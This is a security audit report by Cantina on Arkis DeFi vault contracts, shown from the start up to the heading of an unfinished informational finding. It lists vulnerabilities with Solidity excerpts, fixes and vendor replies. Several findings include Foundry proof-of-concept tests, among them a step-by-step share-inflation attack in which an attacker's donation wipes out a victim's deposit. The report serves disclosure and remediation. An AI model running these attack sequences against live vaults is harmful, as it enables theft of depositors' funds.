Arkis Security Reviews

Combined Audit Report

This document consolidates all security reviews conducted for Arkis by Cantina.

Reviews included:

- September 2025: Arkis v2.13.2 vaults
- December 2025 - February 2026: Arkis PR 2

March 10, 2026

Contents

Executive Summary

This document consolidates all security audit reports conducted for Arkis smart contracts into a single reference. It provides a unified view of the security assessments performed across multiple engagements, enabling readers to access methodology, scope, findings, and remediation status in one place.

Document Overview

The following reviews are included in this document:

1. **September 2025 Security Review** (Part I)
   Solo review of Arkis v2.13.2 vaults on commit 9091bfd9. Conducted Sep 23–30, 2025. **11** issues identified (7 fixed, 4 acknowledged).
2. **December 2025 - February 2026 Security Review** (Part II)
   Cantina Managed review of Arkis PR 2, combining two related reviews:
   - Review 1: Dec 15 2025 – Jan 1 2026, commit c2ed5d03 — **29** issues
   - Review 2: Feb 5 2026 – Feb 19 2026, commit 709ce87d — **34** issues

   63 issues total (53 fixed, 9 acknowledged).

The full details, methodology, scope, and findings for each audit are presented in the respective parts of this document.

Part I

September 2025 Security Review

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A security review is a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While the review endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that a security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity level	Impact: High	Impact: Medium	Impact: Low
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings are a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Arkis is a permissioned CeFi+DeFi prime brokerage protocol that allows institutional lenders and borrowers to facilitate the most capital-efficient credit transactions in crypto.

From Sep 23rd to Sep 30th the security researchers conducted a review of smart-contracts-raw.a0 on commit hash 9091bfd9. A total of **11** issues were identified:

Issues Found

Severity	Count	Fixed	Acknowledged
Critical Risk	0	0	0
High Risk	1	0	1
Medium Risk	3	3	0
Low Risk	2	1	1
Gas Optimizations	1	1	0
Informational	4	2	2
Total	**11**	**7**	**4**

3 Findings

3.1 High Risk

3.1.1 Vault does not account for external markets loss

Severity: High Risk

Context: VaultStaking.sol#L159-L194

Description: The `$.lastTotalAssets` value is updated during checkpoints to track the total assets owned by the vault or allocated to external markets. However, the checkpoint logic only updates `$.lastTotalAssets` when that value increases.

```
function _checkpoint(StorageStaking storage $) internal returns (uint256 newTotalSupply)
↪  {
    uint256 feeAssets;
    uint256 feeShares;
    uint256 newTotalAssets;
    (feeAssets, feeShares, newTotalAssets, newTotalSupply) = _pendingFeeAndTotals($);
    if (feeShares != 0) {
        _mint($.curator, feeShares);
        emit Checkpoint(feeAssets, _exchangeRate(newTotalAssets, newTotalSupply));
        $.lastTotalAssets = newTotalAssets; // @audit update the last total assets only
        ↪  when feeShares != 0 which also means when `$.lastTotalAssets <
        ↪  newTotalAssets`
    }
}

function _pendingFeeAndTotals(
    StorageStaking storage $
)
    internal
    view
    returns (
        uint256 feeAssets,
        uint256 feeShares,
        uint256 newTotalAssets,
        uint256 newTotalSupply
    )
{
    newTotalAssets = _totalAssets($); // @audit gets the new total assets
    newTotalSupply = totalSupply();
    if (newTotalAssets > $.lastTotalAssets) { // @audit calculate fee shares only if the
    ↪  new total assets is greater than the tracked one
        uint256 assetIncrease = newTotalAssets - $.lastTotalAssets;
        feeAssets = assetIncrease.mulDiv($.performanceFee, PERFORMANCE_FEE_DENOMINATOR);
        feeShares = _convertToSharesWithTotals(
            feeAssets,
            newTotalAssets - feeAssets,
            newTotalSupply,
            Math.Rounding.Floor
        );
        newTotalSupply += feeShares;
    }
}
```

The withdraw and redeem logic then uses `$.lastTotalAssets` to calculate the assets owed to an investor. Since `$.lastTotalAssets` never decreases, the assets-per-share conversion also only moves upward.

```
function redeem(
    uint256 shares,
    address receiver,
    address owner
) public override whenNotPaused returns (uint256 assets) {
    // ...
    assets = _convertToAssetsWithTotals(
```

```
        shares,
        $.lastTotalAssets, // @audit may be higher than the current total assets due to
        ↪  external markets loss
        newTotalSupply,
        Math.Rounding.Floor
    );
```

This is incorrect because external markets can incur losses (e.g., slashing, bad debt, etc.), and these losses are not reflected in the vault's accounting.

Impact: Shares can become overpriced during redeem and withdraw. Early withdrawers receive more assets per share than they should. Later withdrawers may be unable to withdraw because the vault no longer holds sufficient assets.

Proof of Concept: Import the following proof of concept and run it with `forge test --mt test_lastUserToWithdrawLoseFunds -vv`. It demonstrates that the second investor cannot redeem all their shares because the first investor received more assets than expected during withdrawal.

```
  diff --git a/test/unit/vault/Vault.Staking.Math.unit.t.sol
  ↪  b/test/unit/vault/Vault.Staking.Math.unit.t.sol
  index 0640b29..63e5bfe 100644
-  -- a/test/unit/vault/Vault.Staking.Math.unit.t.sol
+  ++ b/test/unit/vault/Vault.Staking.Math.unit.t.sol
  @@ -7,6 +7,7 @@ import {
   } from "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/ERC4626Upgradeable
   ↪  .sol";
   import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
   import {VaultTestUtils} from "./utils/VaultTestUtils.sol";
+  import "forge-std/console2.sol";

   contract VaultStakingMathTest is VaultTestUtils {
       using Math for uint256;
  @@ -311,6 +312,71 @@ contract VaultStakingMathTest is VaultTestUtils {
           assertApproxEqAbs(VAULT.totalAssets(), 0, MAX_DELTA, "total assets ~ 0 after
           ↪  all redeemed");
       }

+      function test_lastUserToWithdrawLoseFunds() external {
+          VaultState memory s;
+          uint256 depositAmt = 1_000 * TOKEN_DECIMALS; // @audit-info 1000 USDC for
↪  example
+
+          // Step 1: First investor deposits 1000 USDC
+          s.actualShares = _deposit(INVESTORS[0], depositAmt);
+          s.expectedShares = depositAmt;
+          s.totalAssets = s.totalSupply = depositAmt;
+          assertEq(VAULT.convertToShares(depositAmt), depositAmt, "1. convertToShares =
↪  1:1");
+          assertEq(VAULT.convertToAssets(depositAmt), depositAmt, "1. convertToAssets =
↪  1:1");
+          _assertVaultState(s, "Stage 1", true);
+
+          // Step 2: Second investor deposits 1000 USDC
+          s.actualShares = _deposit(INVESTORS[1], depositAmt);
+          s.expectedShares = depositAmt;
+          s.totalAssets = s.totalSupply = s.totalSupply + depositAmt;
+          assertEq(VAULT.convertToShares(depositAmt), depositAmt, "1. convertToShares =
↪  1:1");
+          assertEq(VAULT.convertToAssets(depositAmt), depositAmt, "1. convertToAssets =
↪  1:1");
+          _assertVaultState(s, "Stage 2", true);
+
+          // Step 3: Allocate assets to external market
+          skip(1 days);
+          _allocateAssets(MARKETS[1], s.totalAssets);
```

```
+          _assertVaultState(s, "Stage 5", true);
+
+          // Step 4: Simulate 500 USDC gain in market 1, and a checkpoint
+          skip(3 days);
+          uint256 gainAmount = 500 * TOKEN_DECIMALS; // @audit-info 500 USDC gain
+          deal(address(ASSET_TOKEN), MARKETS[1], IERC4626(MARKETS[1]).totalAssets() +
 ↪  gainAmount);
+          console2.log("Vault total assets after gain:", VAULT.totalAssets());
+
+          vm.prank(FACTORY_ADDRESS);
+          VAULT.checkpoint();
+          console2.log("After checkpoint - Vault total assets:", VAULT.totalAssets());
+
+          // Step 5: Loss of 500 USDC, back to initial total assets
+          deal(address(ASSET_TOKEN), MARKETS[1], IERC4626(MARKETS[1]).totalAssets() -
 ↪  gainAmount);
+          console2.log("Vault total assets after loss:", VAULT.totalAssets());
+
+          // Step 6: Curator unallocates
+          _exitShares(MARKETS[1], IERC4626(MARKETS[1]).balanceOf(vaultAddress));
+          console2.log("After exit market - Vault total assets:", VAULT.totalAssets());
+
+          // Step 7: First investor withdraws
+          uint256 maxWithdrawInvestor1 = VAULT.maxWithdraw(INVESTORS[0]);
+          uint256 maxWithdrawInvestor2 = VAULT.maxWithdraw(INVESTORS[1]);
+          console2.log("Investor 1 max withdraw:      ", maxWithdrawInvestor1);
+          console2.log("Investor 2 max withdraw:      ", maxWithdrawInvestor2);
+          uint256 sharesBalance1 = VAULT.balanceOf(INVESTORS[0]);
+          vm.prank(INVESTORS[0]);
+          uint256 assetsReceived1 = VAULT.redeem(sharesBalance1, INVESTORS[0],
 ↪  INVESTORS[0]);
+          console2.log("Investor 1 actually received:", assetsReceived1);
+
+          // Assert that first investor gets more assets than what `maxWithdraw`
 ↪  indicated, that's a big security issue
+          assertGt(assetsReceived1, maxWithdrawInvestor1, "Issue solved - Investor 1
 ↪  does not get more than maxWithdraw indicated");
+
+
+          // Step 8: Second investor fail to withdraw all their shares
+          uint256 sharesBalance2 = VAULT.balanceOf(INVESTORS[1]);
+          vm.prank(INVESTORS[1]);
+          vm.expectRevert();
+          uint256 assetsReceived2 = VAULT.redeem(sharesBalance2, INVESTORS[1],
 ↪  INVESTORS[1]);
+          console2.log("Investor 2 actually received:", assetsReceived2);
+      }
+
       function test_pendingFee_edgeCases() external {
           VaultState memory s;
           uint256 amount = 1000 * TOKEN_DECIMALS;
```

Recommendation: The `exchangeRate` correctly calculates the assets per share price. The `withdraw` and `redeem` logic should use this `exchangeRate` function to account for external markets loss.

Arkis: Acknowledged. It is acknowledged for now as current version only allows adding agreement markets as a part of the business requirements which are designed to return money with interest. In next vault iteration when non-agreement markets will be allowed this finding will be addressed.

Zigtur: Acknowledged.

3.2 Medium Risk

3.2.1 Performance fee updates incorrectly apply to past profits due to missing checkpoint

Severity: Medium Risk

Context: VaultStaking.sol#L316-L322

Description: The `changePerformanceFee` functionality allows the arkis risk operator to modify the performance fee. However, the modification of this performance fee does not execute a checkpoint to apply the previous performance fee value on existing profits.

```
function _changePerformanceFee(StorageStaking storage $, uint80 newPerformanceFee)
↪   internal {
    if (newPerformanceFee == 0 || newPerformanceFee > MAX_PERFORMANCE_FEE)
        revert InvalidPerformanceFee();
    if ($.performanceFee == newPerformanceFee) revert AlreadyUpToDate();
    // @audit missing execution of a checkpoint
    emit PerformanceFeeChanged($.performanceFee, newPerformanceFee);
    $.performanceFee = newPerformanceFee;
}
```

This means that modifying the performance fee will impact all profits made since the last checkpoint.

Recommendation: Consider executing a checkpoint before changing the performance fee.

```
  diff --git a/contracts/vault/VaultStaking.sol b/contracts/vault/VaultStaking.sol
  index c17647a..26c1c77 100644
-  -- a/contracts/vault/VaultStaking.sol
+  ++ b/contracts/vault/VaultStaking.sol
  @@ -317,6 +317,7 @@ abstract contract VaultStaking is IVaultStaking,
   ↪  ERC4626Upgradeable, PausableUpg
           if (newPerformanceFee == 0 || newPerformanceFee > MAX_PERFORMANCE_FEE)
               revert InvalidPerformanceFee();
           if ($.performanceFee == newPerformanceFee) revert AlreadyUpToDate();
+          _checkpoint($);
           emit PerformanceFeeChanged($.performanceFee, newPerformanceFee);
           $.performanceFee = newPerformanceFee;
       }
```

Arkis: Fixed in release/vaults-v2.14.0.

Zigtur: Fixed. The patch has been applied. A checkpoint is now executed before modifying the performance fee.

3.2.2 Share price inflation can lead investors to lose funds

Severity: Medium Risk

Context: VaultStaking.sol#L240-L249

Description: The checkpoint logic in the `VaultStaking` contract is prone to shares inflation. A malicious investor can inflate the price of a single share such that the rounding of other investor deposits make them lose assets.

Proof of Concept: The proof of concept shows that a malicious investor is able to manipulate the share price such that other investors lose assets. Import the following test file and run `forge test --mt test_SharesInflationAttack --via-ir -vv`.

```
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.22;

import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC4626} from "@openzeppelin/contracts/interfaces/IERC4626.sol";

import {IVaultStaking} from "contracts/interfaces/vault/IVaultStaking.sol";
```

```
import {VaultTestUtils} from "./utils/VaultTestUtils.sol";
import "forge-std/console2.sol";
contract VaultPoCInflationTest is VaultTestUtils {
    using Math for uint256;

    uint256 private constant INITIAL_DEPOSIT = 1000e6;
    uint256 private constant DAILY_YIELD = 100e6; // 10% daily yield for testing

    function setUp() external {
        // Initialize vault with performance fee (1%)
        _initializeVault(false);

        // Set performance fee to 0.1% fee
        vm.prank(FACTORY_ADDRESS);
        VAULT.changePerformanceFee(10); // 0.1%

        // Deposit initial funds
        deal(address(ASSET_TOKEN), INVESTORS[0], INITIAL_DEPOSIT);
        //vm.prank(INVESTORS[0]);
        //VAULT.deposit(INITIAL_DEPOSIT, INVESTORS[0]);

        console2.log("=== Initial State ===");
        console2.log("Initial deposit:", INITIAL_DEPOSIT);
        console2.log("Performance fee:", 100, "bp (1%)");
        console2.log("Curator balance:", VAULT.balanceOf(CURATOR));
        console2.log("Investor balance:", VAULT.balanceOf(INVESTORS[0]));
        console2.log("Total supply:", VAULT.totalSupply());
        console2.log("Total assets:", VAULT.totalAssets());
    }


    function test_SharesInflationAttack() external {
        // We consider token has 6 decimals, like USDC
        console2.log("\n=== Shares Inflation Attack Test ===");

        // Attacker's initial balance
        address attacker = makeAddr("attacker");
        uint256 attackerInitialBalance = 10000000e6;
        deal(address(ASSET_TOKEN), attacker, attackerInitialBalance);
        uint256 attackerDeposit2 = 1000;

        // Victim's deposit amount
        address victim = makeAddr("victim");
        uint256 victimDepositAmount = 500e6;
        deal(address(ASSET_TOKEN), victim, 3*victimDepositAmount);

        console2.log("Attacker initial balance:", attackerInitialBalance);
        console2.log("Victim deposit amount:   ", victimDepositAmount);
        console2.log("Vault total supply:      ", VAULT.totalSupply());


        vm.prank(attacker);
        ASSET_TOKEN.approve(address(VAULT), type(uint256).max);
        vm.prank(victim);
        ASSET_TOKEN.approve(address(VAULT), type(uint256).max);


        // === STEP 1: Attacker deposits minimal amount to get initial shares ===

        console2.log("\nStep 1: Attacker deposits 1 wei");
        vm.prank(attacker);
        uint256 attackerShares = VAULT.deposit(1, attacker); // Deposit 1 wei
        console2.log("Attacker received shares:", attackerShares);
        console2.log("Vault total supply:      ", VAULT.totalSupply());
        console2.log("Vault total assets:      ", VAULT.totalAssets());
```

```
// === STEP 2: Attacker directly transfers large amount to vault (donation) ===

uint256 donationAmount = 510000e6;
console2.log("\nStep 2: Attacker donates", donationAmount, "directly to vault");
vm.prank(attacker);
ASSET_TOKEN.transfer(address(VAULT), donationAmount);
vm.prank(attacker);
VAULT.deposit(attackerDeposit2, attacker); // Deposit 1000, so that fees are
↪  taken and update total supply
console2.log("Vault total supply:", VAULT.totalSupply());
console2.log("Vault total assets:", VAULT.totalAssets());
console2.log("Curator balance:", VAULT.balanceOf(CURATOR));

// Calculate the inflated exchange rate
uint256 assetsPerShare = VAULT.totalAssets() * 1e6 / VAULT.totalSupply();
console2.log("Assets per share (scaled by 1e6):", assetsPerShare);

// === STEP 3: Victim deposits expecting fair share allocation ===
console2.log("\nStep 3: Victim deposits", victimDepositAmount);

uint256 victimExpectedShares = victimDepositAmount*3; // Victim expects ~1:1
↪  ratio

vm.prank(victim);
uint256 victimActualShares = VAULT.deposit(victimDepositAmount, victim);
vm.prank(victim);
victimActualShares += VAULT.deposit(victimDepositAmount, victim);

console2.log("Victim expected shares (~1:1 ratio):", victimExpectedShares);
console2.log("Victim actual shares received:      ", victimActualShares);
console2.log("Victim shares lost to inflation:    ", victimExpectedShares >
↪  victimActualShares ? victimExpectedShares - victimActualShares : 0);

// === STEP 4: Calculate the impact ===
console2.log("\n=== Attack Impact Analysis ===");


console2.log("Curator balance:", VAULT.balanceOf(CURATOR));

uint256 totalSupplyAfter = VAULT.totalSupply();
uint256 totalAssetsAfter = VAULT.totalAssets();

console2.log("Final vault state:");
console2.log("  Total supply:", totalSupplyAfter);
console2.log("  Total assets:", totalAssetsAfter);

// Calculate what each party can withdraw
uint256 attackerWithdrawable = VAULT.maxWithdraw(attacker);
uint256 victimWithdrawable = VAULT.maxWithdraw(victim);

console2.log("Attacker can withdraw:", attackerWithdrawable);
console2.log("Victim can withdraw:  ", victimWithdrawable);

// Calculate victim's loss
uint256 victimLoss = 3 * victimDepositAmount > victimWithdrawable ? 3 *
↪  victimDepositAmount - victimWithdrawable : 0;
uint256 attackerLoss = attackerDeposit2 + 1 + donationAmount -
↪  attackerWithdrawable; // Initial deposit + donation + 1 wei - what they can
↪  withdraw
uint256 victimLossPercentage = victimLoss * 10000 / (3 * victimDepositAmount);

console2.log("Victim loss:  ", victimLoss);
console2.log("Attacker loss:", attackerLoss);
console2.log("Victim loss percentage:  ", victimLossPercentage, "bp");
console2.log("Attacker loss percentage:", attackerLoss * 10000 /
↪  (attackerDeposit2 + 1 + donationAmount), "bp");
```

```
        assert(victimLossPercentage == 100_00); // Victim loses everything in this
        ↪  scenario)
    }
}
```

Recommendation: Multiple protections can be set to protect against share price inflation:

- Minting dead shares during initialization.
- Minimum first deposit (note that the minimum should also apply to withdrawals).
- Virtual shares and assets.

The following patch implements dead shares. It is recommended to implement additional protections.

```
  diff --git a/contracts/vault/VaultStaking.sol b/contracts/vault/VaultStaking.sol
  index c17647a..41a2af4 100644
-  -- a/contracts/vault/VaultStaking.sol
+  ++ b/contracts/vault/VaultStaking.sol
  @@ -30,6 +30,10 @@ abstract contract VaultStaking is IVaultStaking, ERC4626Upgradeable,
   ↪  PausableUpg
       uint256 internal constant PERFORMANCE_FEE_DENOMINATOR = 10000;
       uint80 internal constant MAX_PERFORMANCE_FEE = 4000;

+      // Dead shares mitigation for inflation attack prevention
+      // For stablecoins with 6 decimals, 1e7 dead shares correspond to 10 USD
+      uint256 private constant DEAD_SHARES = 1e7;
+
       //keccak256(abi.encode(uint256(keccak256("vault.staking")) - 1)) &
       ↪  ~bytes32(uint256(0xff))
       bytes32 internal constant STORAGE_STAKING_SLOT =
           0xe069e55e9c9ba06097b22818f85b224d0f8fad56fb8815939cf22da7539b4f00;
  @@ -59,6 +63,12 @@ abstract contract VaultStaking is IVaultStaking, ERC4626Upgradeable,
   ↪  PausableUpg

           _changeCurator($, metadata.curator);
           _changePerformanceFee($, metadata.performanceFee);
+
+          // Mint dead shares to prevent inflation attacks
+          _mint(address(0xdead), DEAD_SHARES);
+          // Initialize lastTotalAssets with dead shares to keep exchange rate
 ↪  consistent, these assets are not held by this contract and not withdrawable
+          // Note that these dead assets will be covered by future profits during
 ↪  checkpoint
+          $.lastTotalAssets += DEAD_SHARES;
       }

       /* solhint-disable-next-line ordering */
```

Arkis: Fixed in fix/audit-3-2-2-inflation-attack branch.

Zigtur: Fixed. Balance of asset and share balance for each market are now tracked internally to avoid donations. This ensures that the share price can not be inflated through donations.

3.2.3 `_convertToShares` uses `_convertToAssetsWithTotals` instead of `_convertToSharesWithTotals`

Severity: Medium Risk

Context: VaultStaking.sol#L425-L433

Description: The `VaultStaking._convertToShares` uses `_convertToAssetsWithTotals` to convert an amount of `assets` into `shares`. This inconsistency leads to an incorrect conversion to shares.

This `_convertToShares` function is used for external integration and by the `maxMint` function, so it could lead to the `maxMint` value being incorrect.

Recommendation: Use `_convertToSharesWithTotals` instead of `_convertToAssetsWithTotals`.

Arkis: Fixed in PR 4.

Zigtur: Fixed.

3.3 Low Risk

3.3.1 Zero share deposits are allowed

Severity: Low Risk

Context: VaultStaking.sol#L115-L134

Description: The `deposit` function verifies that the `assets` input value is not equal to zero. It then uses this value to calculate the amount of shares to mint through `_convertToSharesWithTotals`. However as this `_convertToSharesWithTotals` function rounds `shares` down, the `deposit` function can end up minting zero shares for a given amount of assets. This can be further amplified through shares inflation.

Proof of Concept: The following proof of concept shows that the victim depositing 500$ (500e6) can have zero shares minted:

```
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.22;

import {Math} from "@openzeppelin/contracts/utils/math/Math.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {IERC4626} from "@openzeppelin/contracts/interfaces/IERC4626.sol";

import {IVaultStaking} from "contracts/interfaces/vault/IVaultStaking.sol";

import {VaultTestUtils} from "./utils/VaultTestUtils.sol";
import "forge-std/console2.sol";
contract VaultPoCInflationTest is VaultTestUtils {
    using Math for uint256;

    uint256 private constant INITIAL_DEPOSIT = 1000e6;
    uint256 private constant DAILY_YIELD = 100e6; // 10% daily yield for testing

    function setUp() external {
        // Initialize vault with performance fee (1%)
        _initializeVault(false);

        // Set performance fee to 0.1% fee
        vm.prank(FACTORY_ADDRESS);
        VAULT.changePerformanceFee(10); // 0.1%

        // Deposit initial funds
        deal(address(ASSET_TOKEN), INVESTORS[0], INITIAL_DEPOSIT);
        //vm.prank(INVESTORS[0]);
        //VAULT.deposit(INITIAL_DEPOSIT, INVESTORS[0]);

        console2.log("=== Initial State ===");
        console2.log("Initial deposit:", INITIAL_DEPOSIT);
        console2.log("Performance fee:", 100, "bp (1%)");
        console2.log("Curator balance:", VAULT.balanceOf(CURATOR));
        console2.log("Investor balance:", VAULT.balanceOf(INVESTORS[0]));
        console2.log("Total supply:", VAULT.totalSupply());
        console2.log("Total assets:", VAULT.totalAssets());
    }


    function test_SharesInflationAttack() external {
        // We consider token has 6 decimals, like USDC
        console2.log("\n=== Shares Inflation Attack Test ===");

        // Attacker's initial balance
        address attacker = makeAddr("attacker");
```

```
uint256 attackerInitialBalance = 10000000e6;
deal(address(ASSET_TOKEN), attacker, attackerInitialBalance);
uint256 attackerDeposit2 = 1000;

// Victim's deposit amount
address victim = makeAddr("victim");
uint256 victimDepositAmount = 500e6;
deal(address(ASSET_TOKEN), victim, victimDepositAmount);

console2.log("Attacker initial balance:", attackerInitialBalance);
console2.log("Victim deposit amount:   ", victimDepositAmount);
console2.log("Vault total supply:      ", VAULT.totalSupply());


vm.prank(attacker);
ASSET_TOKEN.approve(address(VAULT), type(uint256).max);
vm.prank(victim);
ASSET_TOKEN.approve(address(VAULT), type(uint256).max);


// === STEP 1: Attacker deposits minimal amount to get initial shares ===

console2.log("\nStep 1: Attacker deposits 1 wei");
vm.prank(attacker);
uint256 attackerShares = VAULT.deposit(1, attacker); // Deposit 1 wei
console2.log("Attacker received shares:", attackerShares);
console2.log("Vault total supply:      ", VAULT.totalSupply());
console2.log("Vault total assets:      ", VAULT.totalAssets());

// === STEP 2: Attacker directly transfers large amount to vault (donation) ===

uint256 donationAmount = 510000e6;
console2.log("\nStep 2: Attacker donates", donationAmount, "directly to vault");
vm.prank(attacker);
ASSET_TOKEN.transfer(address(VAULT), donationAmount);
vm.prank(attacker);
VAULT.deposit(attackerDeposit2, attacker); // Deposit 1000, so that fees are
↪  taken and update total supply
console2.log("Vault total supply:", VAULT.totalSupply());
console2.log("Vault total assets:", VAULT.totalAssets());
console2.log("Curator balance:", VAULT.balanceOf(CURATOR));

// Calculate the inflated exchange rate
uint256 assetsPerShare = VAULT.totalAssets() * 1e6 / VAULT.totalSupply();
console2.log("Assets per share (scaled by 1e6):", assetsPerShare);

// === STEP 3: Victim deposits expecting fair share allocation ===
console2.log("\nStep 3: Victim deposits", victimDepositAmount);

uint256 victimExpectedShares = victimDepositAmount; // Victim expects ~1:1 ratio

vm.prank(victim);
uint256 victimActualShares = VAULT.deposit(victimDepositAmount, victim);

console2.log("Victim expected shares (~1:1 ratio):", victimExpectedShares);
console2.log("Victim actual shares received:      ", victimActualShares);
console2.log("Victim shares lost to inflation:    ", victimExpectedShares >
↪  victimActualShares ? victimExpectedShares - victimActualShares : 0);

// === STEP 4: Calculate the impact ===
console2.log("\n=== Attack Impact Analysis ===");


console2.log("Curator balance:", VAULT.balanceOf(CURATOR));

uint256 totalSupplyAfter = VAULT.totalSupply();
```

```
        uint256 totalAssetsAfter = VAULT.totalAssets();

        console2.log("Final vault state:");
        console2.log("  Total supply:", totalSupplyAfter);
        console2.log("  Total assets:", totalAssetsAfter);

        // Calculate what each party can withdraw
        uint256 attackerWithdrawable = VAULT.maxWithdraw(attacker);
        uint256 victimWithdrawable = VAULT.maxWithdraw(victim);

        console2.log("Attacker can withdraw:", attackerWithdrawable);
        console2.log("Victim can withdraw:  ", victimWithdrawable);

        // Calculate victim's loss
        uint256 victimLoss = victimDepositAmount > victimWithdrawable ?
        ↪  victimDepositAmount - victimWithdrawable : 0;
        uint256 attackerLoss = attackerDeposit2 + 1 + donationAmount -
        ↪  attackerWithdrawable; // Initial deposit + donation + 1 wei - what they can
        ↪  withdraw
        uint256 victimLossPercentage = victimLoss * 10000 / victimDepositAmount;

        console2.log("Victim loss:  ", victimLoss);
        console2.log("Attacker loss:", attackerLoss);
        console2.log("Victim loss percentage:  ", victimLossPercentage, "bp");
        console2.log("Attacker loss percentage:", attackerLoss * 10000 /
        ↪  (attackerDeposit2 + 1 + donationAmount), "bp");

        assert(victimLossPercentage == 100_00); // Victim loses everything in this
        ↪  scenario)
    }
}
```

Recommendation: Consider adding a check in `VaultStaking.deposit` to ensure that shares is not zero.

```
  diff --git a/contracts/vault/VaultStaking.sol b/contracts/vault/VaultStaking.sol
  index c17647a..527034f 100644
-  -- a/contracts/vault/VaultStaking.sol
+  ++ b/contracts/vault/VaultStaking.sol
  @@ -129,6 +129,7 @@ abstract contract VaultStaking is IVaultStaking,
   ↪  ERC4626Upgradeable, PausableUpg
               newTotalSupply,
               Math.Rounding.Floor
           );
+          if (shares == 0) revert AmountMustNotBeZero(address(this));
           super._deposit(msg.sender, receiver, assets, shares);
           $.lastTotalAssets += assets;
       }
```

Arkis: Fixed in release/vaults-v2.14.0.

Zigtur: Fixed. The patch has been applied.

3.3.2 Investors funds in vault can be locked from withdrawal by the Arkis risk operator

Severity: Low Risk

Context: VaultStaking.sol#L159-L194

Description: The `ARKIS_RISK_OPERATOR_ROLE` is allowed to call `suspend` on the vault factory to pause a vault. Pausing a vault makes withdrawals from this vault impossible due to the `whenNotPaused` modifier. This allows the Arkis risk operator to deny investors from withdrawing their funds.

Recommendation: Once a vault is closed, it should not be possible to suspend it to ensure investors can access their liquidity. This will avoid to lock funds after closing the vault. The Arkis risk operator can still avoid closing the vault to lock funds.

Arkis: Acknowledged.

Zigtur: Acknowledged.

3.4 Gas Optimization

3.4.1 `LPTokenMetadata` length is checked twice

Severity: Gas Optimization

Context: VaultFactory.sol#L48-L56

Description: The `VaultFactory.createVault` function ensures that the `LPTokenMetadata` name and symbol strings length are between 0 and 31 characters.

```
function createVault(
    IVaultInitializer.Metadata calldata metadata,
    IVaultInitializer.LPTokenMetadata calldata lpTokenMetadata
) external override whenNotPaused onlyRole(ARKIS_RISK_OPERATOR_ROLE) returns (address
↪   vault) {
    if (
        bytes(lpTokenMetadata.name).length == 0 ||
        bytes(lpTokenMetadata.name).length > 31 ||
        bytes(lpTokenMetadata.symbol).length == 0 ||
        bytes(lpTokenMetadata.symbol).length > 31
```

However, the `VaultStaking.__Staking_init` executes the exact same checks.

```
function __Staking_init(
    IVaultInitializer.Metadata calldata metadata,
    IVaultInitializer.LPTokenMetadata calldata lpTokenMetadata
) internal onlyInitializing {
    // ...
    uint256 nameLength = bytes(lpTokenMetadata.name).length;
    uint256 symbolLength = bytes(lpTokenMetadata.symbol).length;
    if (nameLength == 0 || symbolLength == 0) revert StringMustNotBeEmpty();
    if (nameLength > 31 || symbolLength > 31) revert NameOrSymbolIsTooLong();
```

Recommendation: Consider removing the length checks from `VaultFactory.createVault`.

Arkis: Fixed in release/vaults-v2.14.0.

Zigtur: Fixed. The lengths checks have been removed from the factory.

3.5 Informational

3.5.1 `VaultFactory` does not check the `vault` address before calling it

Severity: Informational

Context: VaultFactory.sol#L67-L100

Description: The vaults created through `VaultFactory.createVault` are marked as "trusted" in the `$.vaults[vault]` mapping.

```
function createVault(
    IVaultInitializer.Metadata calldata metadata,
    IVaultInitializer.LPTokenMetadata calldata lpTokenMetadata
) external override whenNotPaused onlyRole(ARKIS_RISK_OPERATOR_ROLE) returns (address
↪   vault) {
    // ...
    $.vaults[vault] = true; // @audit marked as trusted
    emit VaultCreated(vault);
}
```

As the vaults are tracked in this mapping, the factory can verify a vault before calling this vault (e.g. in `addInvestors`, `addMarkets` and `changeCurator` functions).

Recommendation: Include a check that `vault` is trusted before calling it by checking `$.vaults[vault] == true`.

Arkis: Fixed in release/vaults-v2.14.0.

Zigtur: Fixed. An `onlyValidVault` modifier has been implemented.

3.5.2 `_hasValidDecimals` can be more restrictive

Severity: Informational

Context: VaultStaking.sol#L544-L549

Description: The `_hasValidDecimals` function verifies that a token has a valid decimals value by checking that it is in range `[0; 255]`. This check could be more restrictive as tokens with more that 18 decimals are not likely to be found and supported.

Recommendation: The maximum expected decimals can be lowered to `18`.

```
  diff --git a/contracts/vault/VaultStaking.sol b/contracts/vault/VaultStaking.sol
  index c17647a..c88e21c 100644
-  -- a/contracts/vault/VaultStaking.sol
+  ++ b/contracts/vault/VaultStaking.sol
  @@ -543,7 +543,7 @@ abstract contract VaultStaking is IVaultStaking,
   ↪  ERC4626Upgradeable, PausableUpg
           );
           if (success && encodedDecimals.length >= 32) {
               uint256 returnedDecimals = abi.decode(encodedDecimals, (uint256));
-              if (returnedDecimals <= type(uint8).max) {
+              if (returnedDecimals <= 18) {
                   hasValidDecimals = true;
               }
           }
```

Arkis: Fixed in release/vaults-v2.14.0.

Zigtur: Fixed. Decimals are now limited to 18. Moreover, it is enforced that `encodedDecimals.length == 32`.

3.5.3 `VaultStaking.info` may run out of gas

Severity: Informational

Context: VaultStaking.sol#L522-L534

